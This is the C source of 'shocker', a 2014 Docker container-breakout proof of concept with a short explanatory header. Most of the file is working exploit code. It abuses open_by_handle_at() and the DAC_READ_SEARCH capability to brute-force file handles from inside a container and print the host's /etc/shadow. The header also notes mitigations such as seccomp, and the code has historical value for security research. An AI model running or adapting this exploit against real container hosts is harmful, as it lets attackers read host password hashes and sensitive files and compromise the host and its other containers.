/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer * * Demonstrates that any given docker image someone is asking * you to run in your docker setup can access ANY file on your host, * e.g. dumping hosts /etc/shadow or other sensitive info, compromising * security of the host and any other docker VM's on it. * * docker using container based VMM: Sebarate pid and net namespace, * stripped caps and RO bind mounts into container's /. However * as its only a bind-mount the fs struct from the task is shared * with the host which allows to open files by file handles * (open_by_handle_at()). As we thankfully have dac_override and * dac_read_search we can do this. The handle is usually a 64bit * string with 32bit inodenumber inside (tested with ext4). * Inode of / is always 2, so we have a starting point to walk * the FS path and brute force the remaining 32bit until we find the * desired file (It's probably easier, depending on the fhandle export * function used for the FS in question: it could be a parent inode# or * the inode generation which can be obtained via an ioctl). * [In practise the remaining 32bit are all 0 :] * * tested with docker 0.11 busybox demo image on a 3.11 kernel: * * docker run -i busybox sh * * seems to run any program inside VMM with UID 0 (some caps stripped); if * user argument is given, the provided docker image still * could contain +s binaries, just as demo busybox image does. * * PS: You should also seccomp kexec() syscall :) * PPS: Might affect other container based compartments too * * $ cc -Wall -std=c99 -O2 shocker.c -static */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include struct my_file_handle { unsigned int handle_bytes; int handle_type; unsigned char f_handle[8]; }; void die(const char *msg) { perror(msg); exit(errno); } void dump_handle(const struct my_file_handle *h) { fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, h->handle_type); for (int i = 0; i < h->handle_bytes; ++i) { fprintf(stderr,"0x%02x", h->f_handle[i]); if ((i + 1) % 20 == 0) fprintf(stderr,"\n"); if (i < h->handle_bytes - 1) fprintf(stderr,", "); } fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { int fd; uint32_t ino = 0; struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 }; DIR *dir = NULL; struct dirent *de = NULL; path = strchr(path, '/'); // recursion stops if path has been resolved if (!path) { memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); oh->handle_type = 1; oh->handle_bytes = 8; return 1; } ++path; fprintf(stderr, "[*] Resolving '%s'\n", path); if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) die("[-] open_by_handle_at"); if ((dir = fdopendir(fd)) == NULL) die("[-] fdopendir"); for (;;) { de = readdir(dir); if (!de) break; fprintf(stderr, "[*] Found %s\n", de->d_name); if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); ino = de->d_ino; break; } } fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); if (de) { for (uint32_t i = 0; i < 0xffffffff; ++i) { outh.handle_bytes = 8; outh.handle_type = 1; memcpy(outh.f_handle, &ino, sizeof(ino)); memcpy(outh.f_handle + 4, &i, sizeof(i)); if ((i % (1<<20)) == 0) fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { closedir(dir); close(fd); dump_handle(&outh); return find_handle(bfd, path, &outh, oh); } } } closedir(dir); close(fd); return 0; } int main() { char buf[0x1000]; int fd1, fd2; struct my_file_handle h; struct my_file_handle root_h = { .handle_bytes = 8, .handle_type = 1, .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} }; fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" "[***] The tea from the 90's kicks your sekurity again. [***]\n" "[***] If you have pending sec consulting, I'll happily [***]\n" "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); read(0, buf, 1); // get a FS reference from something mounted in from outside if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) die("[-] open"); if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) die("[-] Cannot find valid handle!"); fprintf(stderr, "[!] Got a final handle!\n"); dump_handle(&h); if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) die("[-] open_by_handle"); memset(buf, 0, sizeof(buf)); if (read(fd2, buf, sizeof(buf) - 1) < 0) die("[-] read"); fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); close(fd2); close(fd1); return 0; }